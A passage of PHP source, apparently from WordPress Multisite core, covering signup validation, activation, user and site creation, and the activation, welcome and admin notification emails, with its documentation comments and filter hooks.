$errors, ); /** * Filters the validated user registration details. * * This does not allow you to override the username or email of the user during * registration. The values are solely used for validation and error handling. * * @since MU (3.0.0) * * @param array $result { * The array of user name, email, and the error messages. * * @type string $user_name Sanitized and unique username. * @type string $orig_username Original username. * @type string $user_email User email address. * @type WP_Error $errors WP_Error object containing any errors found. * } */ return apply_filters( 'wpmu_validate_user_signup', $result ); } /** * Processes new site registrations. * * Checks the data provided by the user during blog signup. Verifies * the validity and uniqueness of blog paths and domains. * * This function prevents the current user from registering a new site * with a blogname equivalent to another user's login name. Passing the * $user parameter to the function, where $user is the other user, is * effectively an override of this limitation. * * Filter {@see 'wpmu_validate_blog_signup'} if you want to modify * the way that WordPress validates new site signups. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global string $domain * * @param string $blogname The blog name provided by the user. Must be unique. * @param string $blog_title The blog title provided by the user. * @param WP_User|string $user Optional. The user object to check against the new site name. * @return array { * Array of domain, path, blog name, blog title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Blog title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ function wpmu_validate_blog_signup( $blogname, $blog_title, $user = '' ) { global $wpdb, $domain; $current_network = get_network(); $base = $current_network->path; $blog_title = strip_tags( $blog_title ); $errors = new WP_Error(); $illegal_names = get_site_option( 'illegal_names' ); if ( false == $illegal_names ) { $illegal_names = array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator' ); add_site_option( 'illegal_names', $illegal_names ); } /* * On sub dir installations, some names are so illegal, only a filter can * spring them from jail. */ if ( ! is_subdomain_install() ) { $illegal_names = array_merge( $illegal_names, get_subdirectory_reserved_names() ); } if ( empty( $blogname ) ) { $errors->add( 'blogname', __( 'Please enter a site name.' ) ); } if ( preg_match( '/[^a-z0-9]+/', $blogname ) ) { $errors->add( 'blogname', __( 'Site names can only contain lowercase letters (a-z) and numbers.' ) ); } if ( in_array( $blogname, $illegal_names, true ) ) { $errors->add( 'blogname', __( 'That name is not allowed.' ) ); } /** * Filters the minimum site name length required when validating a site signup. * * @since 4.8.0 * * @param int $length The minimum site name length. Default 4. */ $minimum_site_name_length = apply_filters( 'minimum_site_name_length', 4 ); if ( strlen( $blogname ) < $minimum_site_name_length ) { /* translators: %s: Minimum site name length. */ $errors->add( 'blogname', sprintf( _n( 'Site name must be at least %s character.', 'Site name must be at least %s characters.', $minimum_site_name_length ), number_format_i18n( $minimum_site_name_length ) ) ); } // Do not allow users to create a site that conflicts with a page on the main blog. if ( ! is_subdomain_install() && $wpdb->get_var( $wpdb->prepare( 'SELECT post_name FROM ' . $wpdb->get_blog_prefix( $current_network->site_id ) . "posts WHERE post_type = 'page' AND post_name = %s", $blogname ) ) ) { $errors->add( 'blogname', __( 'Sorry, you may not use that site name.' ) ); } // All numeric? if ( preg_match( '/^[0-9]*$/', $blogname ) ) { $errors->add( 'blogname', __( 'Sorry, site names must have letters too!' ) ); } /** * Filters the new site name during registration. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since MU (3.0.0) * * @param string $blogname Site name. */ $blogname = apply_filters( 'newblogname', $blogname ); $blog_title = wp_unslash( $blog_title ); if ( empty( $blog_title ) ) { $errors->add( 'blog_title', __( 'Please enter a site title.' ) ); } // Check if the domain/path has been used already. if ( is_subdomain_install() ) { $mydomain = $blogname . '.' . preg_replace( '|^www\.|', '', $domain ); $path = $base; } else { $mydomain = $domain; $path = $base . $blogname . '/'; } if ( domain_exists( $mydomain, $path, $current_network->id ) ) { $errors->add( 'blogname', __( 'Sorry, that site already exists!' ) ); } /* * Do not allow users to create a site that matches an existing user's login name, * unless it's the user's own username. */ if ( username_exists( $blogname ) ) { if ( ! is_object( $user ) || ( is_object( $user ) && ( $user->user_login != $blogname ) ) ) { $errors->add( 'blogname', __( 'Sorry, that site is reserved!' ) ); } } // Has someone already signed up for this domain? // TODO: Check email too? $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE domain = %s AND path = %s", $mydomain, $path ) ); if ( $signup instanceof stdClass ) { $diff = time() - mysql2date( 'U', $signup->registered ); // If registered more than two days ago, cancel registration and let this signup go through. if ( $diff > 2 * DAY_IN_SECONDS ) { $wpdb->delete( $wpdb->signups, array( 'domain' => $mydomain, 'path' => $path, ) ); } else { $errors->add( 'blogname', __( 'That site is currently reserved but may be available in a couple days.' ) ); } } $result = array( 'domain' => $mydomain, 'path' => $path, 'blogname' => $blogname, 'blog_title' => $blog_title, 'user' => $user, 'errors' => $errors, ); /** * Filters site details and error messages following registration. * * @since MU (3.0.0) * * @param array $result { * Array of domain, path, blog name, blog title, user and error messages. * * @type string $domain Domain for the site. * @type string $path Path for the site. Used in subdirectory installations. * @type string $blogname The unique site name (slug). * @type string $blog_title Blog title. * @type string|WP_User $user By default, an empty string. A user object if provided. * @type WP_Error $errors WP_Error containing any errors found. * } */ return apply_filters( 'wpmu_validate_blog_signup', $result ); } /** * Records site signup information for future activation. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. */ function wpmu_signup_blog( $domain, $path, $title, $user, $user_email, $meta = array() ) { global $wpdb; $key = substr( md5( time() . wp_rand() . $domain ), 0, 16 ); /** * Filters the metadata for a site signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_site_meta', $meta, $domain, $path, $title, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => $domain, 'path' => $path, 'title' => $title, 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after site signup information has been written to the database. * * @since 4.4.0 * * @param string $domain The requested domain. * @param string $path The requested path. * @param string $title The requested site title. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'after_signup_site', $domain, $path, $title, $user, $user_email, $key, $meta ); } /** * Records user signup information for future activation. * * This function is used when user registration is open but * new site registration is not. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param array $meta Optional. Signup meta data. Default empty array. */ function wpmu_signup_user( $user, $user_email, $meta = array() ) { global $wpdb; // Format data. $user = preg_replace( '/\s+/', '', sanitize_user( $user, true ) ); $user_email = sanitize_email( $user_email ); $key = substr( md5( time() . wp_rand() . $user_email ), 0, 16 ); /** * Filters the metadata for a user signup. * * The metadata will be serialized prior to storing it in the database. * * @since 4.8.0 * * @param array $meta Signup meta data. Default empty array. * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. */ $meta = apply_filters( 'signup_user_meta', $meta, $user, $user_email, $key ); $wpdb->insert( $wpdb->signups, array( 'domain' => '', 'path' => '', 'title' => '', 'user_login' => $user, 'user_email' => $user_email, 'registered' => current_time( 'mysql', true ), 'activation_key' => $key, 'meta' => serialize( $meta ), ) ); /** * Fires after a user's signup information has been written to the database. * * @since 4.4.0 * * @param string $user The user's requested login name. * @param string $user_email The user's email address. * @param string $key The user's activation key. * @param array $meta Signup meta data. Default empty array. */ do_action( 'after_signup_user', $user, $user_email, $key, $meta ); } /** * Sends a confirmation request email to a user when they sign up for a new site. The new site will not become active * until the confirmation link is clicked. * * This is the notification function used when site registration * is enabled. * * Filter {@see 'wpmu_signup_blog_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_blog_notification_email'} and * {@see 'wpmu_signup_blog_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $domain The new blog domain. * @param string $path The new blog path. * @param string $title The site title. * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_blog() * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool */ function wpmu_signup_blog_notification( $domain, $path, $title, $user_login, $user_email, $key, $meta = array() ) { /** * Filters whether to bypass the new site email notification. * * @since MU (3.0.0) * * @param string|false $domain Site domain, or false to prevent the email from sending. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_signup_blog_notification', $domain, $path, $title, $user_login, $user_email, $key, $meta ) ) { return false; } // Send email with activation link. if ( ! is_subdomain_install() || get_current_network_id() != 1 ) { $activate_url = network_site_url( "wp-activate.php?key=$key" ); } else { $activate_url = "http://{$domain}{$path}wp-activate.php?key=$key"; // @todo Use *_url() API. } $activate_url = esc_url( $activate_url ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $user = get_user_by( 'login', $user_login ); $switched_locale = switch_to_locale( get_user_locale( $user ) ); $message = sprintf( /** * Filters the message content of the new blog notification email. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_email', /* translators: New site notification email. 1: Activation URL, 2: New site URL. */ __( "To activate your site, please click the following link:\n\n%1\$s\n\nAfter you activate, you will receive *another email* with your login.\n\nAfter you activate, you can visit your site here:\n\n%2\$s" ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $activate_url, esc_url( "http://{$domain}{$path}" ), $key ); $subject = sprintf( /** * Filters the subject of the new blog notification email. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $domain Site domain. * @param string $path Site path. * @param string $title Site title. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_blog(). * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ apply_filters( 'wpmu_signup_blog_notification_subject', /* translators: New site notification email subject. 1: Network title, 2: New site URL. */ _x( '[%1$s] Activate %2$s', 'New site notification email subject' ), $domain, $path, $title, $user_login, $user_email, $key, $meta ), $from_name, esc_url( 'http://' . $domain . $path ) ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Sends a confirmation request email to a user when they sign up for a new user account (without signing up for a site * at the same time). The user account will not become active until the confirmation link is clicked. * * This is the notification function used when no new site has * been requested. * * Filter {@see 'wpmu_signup_user_notification'} to bypass this function or * replace it with your own notification behavior. * * Filter {@see 'wpmu_signup_user_notification_email'} and * {@see 'wpmu_signup_user_notification_subject'} to change the content * and subject line of the email sent to newly registered users. * * @since MU (3.0.0) * * @param string $user_login The user's login name. * @param string $user_email The user's email address. * @param string $key The activation key created in wpmu_signup_user() * @param array $meta Optional. Signup meta data. Default empty array. * @return bool */ function wpmu_signup_user_notification( $user_login, $user_email, $key, $meta = array() ) { /** * Filters whether to bypass the email notification for new user sign-up. * * @since MU (3.0.0) * * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_signup_user_notification', $user_login, $user_email, $key, $meta ) ) { return false; } $user = get_user_by( 'login', $user_login ); $switched_locale = switch_to_locale( get_user_locale( $user ) ); // Send email with activation link. $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = sprintf( /** * Filters the content of the notification email for new user sign-up. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $content Content of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_email', /* translators: New user notification email. %s: Activation URL. */ __( "To activate your user, please click the following link:\n\n%s\n\nAfter you activate, you will receive *another email* with your login." ), $user_login, $user_email, $key, $meta ), site_url( "wp-activate.php?key=$key" ) ); $subject = sprintf( /** * Filters the subject of the notification email of new user signup. * * @since MU (3.0.0) * * @param string $subject Subject of the notification email. * @param string $user_login User login name. * @param string $user_email User email address. * @param string $key Activation key created in wpmu_signup_user(). * @param array $meta Signup meta data. Default empty array. */ apply_filters( 'wpmu_signup_user_notification_subject', /* translators: New user notification email subject. 1: Network title, 2: New user login. */ _x( '[%1$s] Activate %2$s', 'New user notification email subject' ), $user_login, $user_email, $key, $meta ), $from_name, $user_login ); wp_mail( $user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Activates a signup. * * Hook to {@see 'wpmu_activate_user'} or {@see 'wpmu_activate_blog'} for events * that should happen only when users or sites are self-created (since * those actions are not called when users and sites are created * by a Super Admin). * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $key The activation key provided to the user. * @return array|WP_Error An array containing information about the activated user and/or blog */ function wpmu_activate_signup( $key ) { global $wpdb; $signup = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->signups WHERE activation_key = %s", $key ) ); if ( empty( $signup ) ) { return new WP_Error( 'invalid_key', __( 'Invalid activation key.' ) ); } if ( $signup->active ) { if ( empty( $signup->domain ) ) { return new WP_Error( 'already_active', __( 'The user is already active.' ), $signup ); } else { return new WP_Error( 'already_active', __( 'The site is already active.' ), $signup ); } } $meta = maybe_unserialize( $signup->meta ); $password = wp_generate_password( 12, false ); $user_id = username_exists( $signup->user_login ); if ( ! $user_id ) { $user_id = wpmu_create_user( $signup->user_login, $password, $signup->user_email ); } else { $user_already_exists = true; } if ( ! $user_id ) { return new WP_Error( 'create_user', __( 'Could not create user' ), $signup ); } $now = current_time( 'mysql', true ); if ( empty( $signup->domain ) ) { $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); if ( isset( $user_already_exists ) ) { return new WP_Error( 'user_already_exists', __( 'That username is already activated.' ), $signup ); } /** * Fires immediately after a new user is activated. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. */ do_action( 'wpmu_activate_user', $user_id, $password, $meta ); return array( 'user_id' => $user_id, 'password' => $password, 'meta' => $meta, ); } $blog_id = wpmu_create_blog( $signup->domain, $signup->path, $signup->title, $user_id, $meta, get_current_network_id() ); // TODO: What to do if we create a user but cannot create a blog? if ( is_wp_error( $blog_id ) ) { /* * If blog is taken, that means a previous attempt to activate this blog * failed in between creating the blog and setting the activation flag. * Let's just set the active flag and instruct the user to reset their password. */ if ( 'blog_taken' === $blog_id->get_error_code() ) { $blog_id->add_data( $signup ); $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); } return $blog_id; } $wpdb->update( $wpdb->signups, array( 'active' => 1, 'activated' => $now, ), array( 'activation_key' => $key ) ); /** * Fires immediately after a site is activated. * * @since MU (3.0.0) * * @param int $blog_id Blog ID. * @param int $user_id User ID. * @param string $password User password. * @param string $signup_title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ do_action( 'wpmu_activate_blog', $blog_id, $user_id, $password, $signup->title, $meta ); return array( 'blog_id' => $blog_id, 'user_id' => $user_id, 'password' => $password, 'title' => $signup->title, 'meta' => $meta, ); } /** * Deletes an associated signup entry when a user is deleted from the database. * * @since 5.5.0 * * @param int $id ID of the user to delete. * @param int|null $reassign ID of the user to reassign posts and links to. * @param WP_User $user User object. */ function wp_delete_signup_on_user_delete( $id, $reassign, $user ) { global $wpdb; $wpdb->delete( $wpdb->signups, array( 'user_login' => $user->user_login ) ); } /** * Creates a user. * * This function runs when a user self-registers as well as when * a Super Admin creates a new user. Hook to {@see 'wpmu_new_user'} for events * that should affect all new users, but only on Multisite (otherwise * use {@see 'user_register'}). * * @since MU (3.0.0) * * @param string $user_name The new user's login name. * @param string $password The new user's password. * @param string $email The new user's email address. * @return int|false Returns false on failure, or int $user_id on success */ function wpmu_create_user( $user_name, $password, $email ) { $user_name = preg_replace( '/\s+/', '', sanitize_user( $user_name, true ) ); $user_id = wp_create_user( $user_name, $password, $email ); if ( is_wp_error( $user_id ) ) { return false; } // Newly created users have no roles or caps until they are added to a blog. delete_user_option( $user_id, 'capabilities' ); delete_user_option( $user_id, 'user_level' ); /** * Fires immediately after a new user is created. * * @since MU (3.0.0) * * @param int $user_id User ID. */ do_action( 'wpmu_new_user', $user_id ); return $user_id; } /** * Creates a site. * * This function runs when a user self-registers a new site as well * as when a Super Admin creates a new site. Hook to {@see 'wpmu_new_blog'} * for events that should affect all new sites. * * On subdirectory installations, $domain is the same as the main site's * domain, and the path is the subdirectory name (eg 'example.com' * and '/blog1/'). On subdomain installations, $domain is the new subdomain + * root domain (eg 'blog1.example.com'), and $path is '/'. * * @since MU (3.0.0) * * @param string $domain The new site's domain. * @param string $path The new site's path. * @param string $title The new site's title. * @param int $user_id The user ID of the new site's admin. * @param array $options Optional. Array of key=>value pairs used to set initial site options. * If valid status keys are included ('public', 'archived', 'mature', * 'spam', 'deleted', or 'lang_id') the given site status(es) will be * updated. Otherwise, keys and values will be used to set options for * the new site. Default empty array. * @param int $network_id Optional. Network ID. Only relevant on multi-network installations. * @return int|WP_Error Returns WP_Error object on failure, the new site ID on success. */ function wpmu_create_blog( $domain, $path, $title, $user_id, $options = array(), $network_id = 1 ) { $defaults = array( 'public' => 0, ); $options = wp_parse_args( $options, $defaults ); $title = strip_tags( $title ); $user_id = (int) $user_id; // Check if the domain has been used already. We should return an error message. if ( domain_exists( $domain, $path, $network_id ) ) { return new WP_Error( 'blog_taken', __( 'Sorry, that site already exists!' ) ); } if ( ! wp_installing() ) { wp_installing( true ); } $allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); $site_data = array_merge( array( 'domain' => $domain, 'path' => $path, 'network_id' => $network_id, ), array_intersect_key( $options, array_flip( $allowed_data_fields ) ) ); // Data to pass to wp_initialize_site(). $site_initialization_data = array( 'title' => $title, 'user_id' => $user_id, 'options' => array_diff_key( $options, array_flip( $allowed_data_fields ) ), ); $blog_id = wp_insert_site( array_merge( $site_data, $site_initialization_data ) ); if ( is_wp_error( $blog_id ) ) { return $blog_id; } wp_cache_set( 'last_changed', microtime(), 'sites' ); return $blog_id; } /** * Notifies the network admin that a new site has been activated. * * Filter {@see 'newblog_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * @since 5.1.0 $blog_id now supports input from the {@see 'wp_initialize_site'} action. * * @param WP_Site|int $blog_id The new site's object or ID. * @param string $deprecated Not used. * @return bool */ function newblog_notify_siteadmin( $blog_id, $deprecated = '' ) { if ( is_object( $blog_id ) ) { $blog_id = $blog_id->blog_id; } if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( is_email( $email ) == false ) { return false; } $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); switch_to_blog( $blog_id ); $blogname = get_option( 'blogname' ); $siteurl = site_url(); restore_current_blog(); $msg = sprintf( /* translators: New site notification email. 1: Site URL, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New Site: %1$s URL: %2$s Remote IP address: %3$s Disable these notifications: %4$s' ), $blogname, $siteurl, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new site activation email sent * to the network administrator. * * @since MU (3.0.0) * @since 5.4.0 The `$blog_id` parameter was added. * * @param string $msg Email body. * @param int|string $blog_id The new site's ID as an integer or numeric string. */ $msg = apply_filters( 'newblog_notify_siteadmin', $msg, $blog_id ); /* translators: New site notification email subject. %s: New site URL. */ wp_mail( $email, sprintf( __( 'New Site Registration: %s' ), $siteurl ), $msg ); return true; } /** * Notifies the network admin that a new user has been activated. * * Filter {@see 'newuser_notify_siteadmin'} to change the content of * the notification email. * * @since MU (3.0.0) * * @param int $user_id The new user's ID. * @return bool */ function newuser_notify_siteadmin( $user_id ) { if ( 'yes' !== get_site_option( 'registrationnotification' ) ) { return false; } $email = get_site_option( 'admin_email' ); if ( is_email( $email ) == false ) { return false; } $user = get_userdata( $user_id ); $options_site_url = esc_url( network_admin_url( 'settings.php' ) ); $msg = sprintf( /* translators: New user notification email. 1: User login, 2: User IP address, 3: URL to Network Settings screen. */ __( 'New User: %1$s Remote IP address: %2$s Disable these notifications: %3$s' ), $user->user_login, wp_unslash( $_SERVER['REMOTE_ADDR'] ), $options_site_url ); /** * Filters the message body of the new user activation email sent * to the network administrator. * * @since MU (3.0.0) * * @param string $msg Email body. * @param WP_User $user WP_User instance of the new user. */ $msg = apply_filters( 'newuser_notify_siteadmin', $msg, $user ); /* translators: New user notification email subject. %s: User login. */ wp_mail( $email, sprintf( __( 'New User Registration: %s' ), $user->user_login ), $msg ); return true; } /** * Checks whether a site name is already taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * Used during the new site registration process to ensure * that each site name is unique. * * @since MU (3.0.0) * * @param string $domain The domain to be checked. * @param string $path The path to be checked. * @param int $network_id Optional. Network ID. Relevant only on multi-network installations. * @return int|null The site ID if the site name exists, null otherwise. */ function domain_exists( $domain, $path, $network_id = 1 ) { $path = trailingslashit( $path ); $args = array( 'network_id' => $network_id, 'domain' => $domain, 'path' => $path, 'fields' => 'ids', 'number' => 1, 'update_site_meta_cache' => false, ); $result = get_sites( $args ); $result = array_shift( $result ); /** * Filters whether a site name is taken. * * The name is the site's subdomain or the site's subdirectory * path depending on the network settings. * * @since 3.5.0 * * @param int|null $result The site ID if the site name exists, null otherwise. * @param string $domain Domain to be checked. * @param string $path Path to be checked. * @param int $network_id Network ID. Relevant only on multi-network installations. */ return apply_filters( 'domain_exists', $result, $domain, $path, $network_id ); } /** * Notifies the site administrator that their site activation was successful. * * Filter {@see 'wpmu_welcome_notification'} to disable or bypass. * * Filter {@see 'update_welcome_email'} and {@see 'update_welcome_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $blog_id Site ID. * @param int $user_id User ID. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Optional. Signup meta data. By default, contains the requested privacy setting and lang_id. * @return bool Whether the email notification was sent. */ function wpmu_welcome_notification( $blog_id, $user_id, $password, $title, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email sent to the site administrator after site activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int|false $blog_id Site ID, or false to prevent the email from sending. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ if ( ! apply_filters( 'wpmu_welcome_notification', $blog_id, $user_id, $password, $title, $meta ) ) { return false; } $user = get_userdata( $user_id ); $switched_locale = switch_to_locale( get_user_locale( $user ) ); $welcome_email = get_site_option( 'welcome_email' ); if ( false == $welcome_email ) { /* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */ $welcome_email = __( 'Howdy USERNAME, Your new SITE_NAME site has been successfully set up at: BLOG_URL You can log in to the administrator account with the following information: Username: USERNAME Password: PASSWORD Log in here: BLOG_URLwp-login.php We hope you enjoy your new site. Thanks! --The Team @ SITE_NAME' ); } $url = get_blogaddress_by_id( $blog_id ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, $welcome_email ); $welcome_email = str_replace( 'BLOG_TITLE', $title, $welcome_email ); $welcome_email = str_replace( 'BLOG_URL', $url, $welcome_email ); $welcome_email = str_replace( 'USERNAME', $user->user_login, $welcome_email ); $welcome_email = str_replace( 'PASSWORD', $password, $welcome_email ); /** * Filters the content of the welcome email sent to the site administrator after site activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email Message body of the email. * @param int $blog_id Site ID. * @param int $user_id User ID of the site administrator. * @param string $password User password, or "N/A" if the user account is not new. * @param string $title Site title. * @param array $meta Signup meta data. By default, contains the requested privacy setting and lang_id. */ $welcome_email = apply_filters( 'update_welcome_email', $welcome_email, $blog_id, $user_id, $password, $title, $meta ); $admin_email = get_site_option( 'admin_email' ); if ( '' === $admin_email ) { $admin_email = 'support@' . wp_parse_url( network_home_url(), PHP_URL_HOST ); } $from_name = ( '' !== get_site_option( 'site_name' ) ) ? esc_html( get_site_option( 'site_name' ) ) : 'WordPress'; $message_headers = "From: \"{$from_name}\" <{$admin_email}>\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; $message = $welcome_email; if ( empty( $current_network->site_name ) ) { $current_network->site_name = 'WordPress'; } /* translators: New site notification email subject. 1: Network title, 2: New site title. */ $subject = __( 'New %1$s Site: %2$s' ); /** * Filters the subject of the welcome email sent to the site administrator after site activation. * * @since MU (3.0.0) * * @param string $subject Subject of the email. */ $subject = apply_filters( 'update_welcome_subject', sprintf( $subject, $current_network->site_name, wp_unslash( $title ) ) ); wp_mail( $user->user_email, wp_specialchars_decode( $subject ), $message, $message_headers ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies the Multisite network administrator that a new site was created. * * Filter {@see 'send_new_site_email'} to disable or bypass. * * Filter {@see 'new_site_email'} to filter the contents. * * @since 5.6.0 * * @param int $site_id Site ID of the new site. * @param int $user_id User ID of the administrator of the new site. * @return bool Whether the email notification was sent. */ function wpmu_new_site_admin_notification( $site_id, $user_id ) { $site = get_site( $site_id ); $user = get_userdata( $user_id ); $email = get_site_option( 'admin_email' ); if ( ! $site || ! $user || ! $email ) { return false; } /** * Filters whether to send an email to the Multisite network administrator when a new site is created. * * Return false to disable sending the email. * * @since 5.6.0 * * @param bool $send Whether to send the email. * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ if ( ! apply_filters( 'send_new_site_email', true, $site, $user ) ) { return false; } $switched_locale = false; $network_admin = get_user_by( 'email', $email ); if ( $network_admin ) { // If the network admin email address corresponds to a user, switch to their locale. $switched_locale = switch_to_locale( get_user_locale( $network_admin ) ); } else { // Otherwise switch to the locale of the current site. $switched_locale = switch_to_locale( get_locale() ); } $subject = sprintf( /* translators: New site notification email subject. %s: Network title. */ __( '[%s] New Site Created' ), get_network()->site_name ); $message = sprintf( /* translators: New site notification email. 1: User login, 2: Site URL, 3: Site title. */ __( 'New site created by %1$s Address: %2$s Name: %3$s' ), $user->user_login, get_site_url( $site->id ), get_blog_option( $site->id, 'blogname' ) ); $header = sprintf( 'From: "%1$s" <%2$s>', _x( 'Site Admin', 'email "From" field' ), $email ); $new_site_email = array( 'to' => $email, 'subject' => $subject, 'message' => $message, 'headers' => $header, ); /** * Filters the content of the email sent to the Multisite network administrator when a new site is created. * * Content should be formatted for transmission via wp_mail(). * * @since 5.6.0 * * @param array $new_site_email { * Used to build wp_mail(). * * @type string $to The email address of the recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * @type string $headers Headers. * } * @param WP_Site $site Site object of the new site. * @param WP_User $user User object of the administrator of the new site. */ $new_site_email = apply_filters( 'new_site_email', $new_site_email, $site, $user ); wp_mail( $new_site_email['to'], wp_specialchars_decode( $new_site_email['subject'] ), $new_site_email['message'], $new_site_email['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } return true; } /** * Notifies a user that their account activation has been successful. * * Filter {@see 'wpmu_welcome_user_notification'} to disable or bypass. * * Filter {@see 'update_welcome_user_email'} and {@see 'update_welcome_user_subject'} to * modify the content and subject line of the notification email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Optional. Signup meta data. Default empty array. * @return bool */ function wpmu_welcome_user_notification( $user_id, $password, $meta = array() ) { $current_network = get_network(); /** * Filters whether to bypass the welcome email after user activation. * * Returning false disables the welcome email. * * @since MU (3.0.0) * * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ if ( ! apply_filters( 'wpmu_welcome_user_notification', $user_id, $password, $meta ) ) { return false; } $welcome_email = get_site_option( 'welcome_user_email' ); $user = get_userdata( $user_id ); $switched_locale = switch_to_locale( get_user_locale( $user ) ); /** * Filters the content of the welcome email after user activation. * * Content should be formatted for transmission via wp_mail(). * * @since MU (3.0.0) * * @param string $welcome_email The message body of the account activation success email. * @param int $user_id User ID. * @param string $password User password. * @param array $meta Signup meta data. Default empty array. */ $welcome_email = apply_filters( 'update_welcome_user_email', $welcome_email, $user_id, $password, $meta ); $welcome_email = str_replace( 'SITE_NAME', $current_network->site_name, 